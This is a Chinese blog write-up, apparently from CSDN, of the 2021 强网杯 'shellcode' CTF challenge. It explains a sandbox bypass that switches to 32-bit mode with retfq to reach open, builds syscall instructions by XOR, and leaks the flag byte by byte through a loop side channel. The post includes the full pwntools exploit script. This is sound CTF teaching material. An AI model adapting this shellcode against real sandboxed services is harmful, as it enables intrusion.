2021 强网杯 [强网先锋] shellcode

在这里插入图片描述
在这里插入图片描述
就是写入shellcode跑就行。但是shellcode不能有小于’\x1f’,也不能有等于‘\x7f’。问题的关键在于开了沙箱。

在这里插入图片描述只能使用这些系统调用。
orw只有r,怎么处理。

首先看o,我们发现给了系统调用5,这个系统调用在64的时候是fstat,但是在32模式情况下就是open,所以我们首先考虑使用retfq汇编语句来让我们的整个模式跳到32位,在32位下去调用系统调用5就可以获得open。
retfq使用的时候要注意,cs寄存器中存储的一个数字,0x23表示32位,0x33表示64位。调用retfq之后esp是cs寄存器值,esp+8就是返回地址了。

但是我们发现,我们把32位shellcode读到栈上以后栈的整个环境是64的,就会产生矛盾,所以我们需要一块全新的地方来写入我们的32位shellcode。
我们看到了系统调用可以mmap,所以我们第一步就是mmap申请一块地方,然后read32位shellcode过去。这里说一嘴因为syscall的汇编代码被ban了,所以我们写汇编语句的时候要耍点小手段,通过xor来得到syscall。

此时我们要读入shellcode到mmap,这个时候对我们的字符不会有检查,就随便写了。我们首先open打开文件,然后跳回64位,把读flag读出来,然后呢,没有write。

所以我们参考了2021蓝帽杯的silent,我们爆破,将每个可见字符拿去跟我们的flag进行比较,假如命中,我们让它跳入loop循环,假如我们程序卡在那里,说明命中了,然后一个字符一个字符爆破,得到flag。

下面的flag我自己写的,爆破大概爆了十分钟吧。
在这里插入图片描述

exp

#coding:utf-8
from pwn import *
context.log_level = 'debug'

append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
'''

shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49

'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70

'''

shellcode_retfq = '''
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append

shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print hex(len(shellcode))



def exp(dis,char):
    #gdb.attach(p, "b *0x40026d\nc")
    #input()
    p.sendline(shellcode)
    sc = asm('''
            mov rdi,rcx
            mov rsi,0x40404200
            mov dl,0x40
            xor rax,rax
            syscall
            mov dl, byte ptr [rsi+{}]
            mov cl, {}
            cmp cl,dl
            jz loop
            mov al,231
            syscall
            loop:
            jmp loop
            '''.format(dis,char),arch = 'amd64',os = 'linux')

    p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag + sc)
    #input()
    
flag = ""
for i in range(len(flag),50):
    sleep(1)
    log.success("flag : {}".format(flag))
    for j in range(0x100):
        p = process('./shellcode')
        try:
            exp(i,j)
            p.recvline(timeout=1)
            flag += chr(j)
            p.send('\n')
            log.success("{} pos : {} success".format(i,chr(j)))
            log.success(flag)
            p.close()
            break
        except:
            p.close()
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值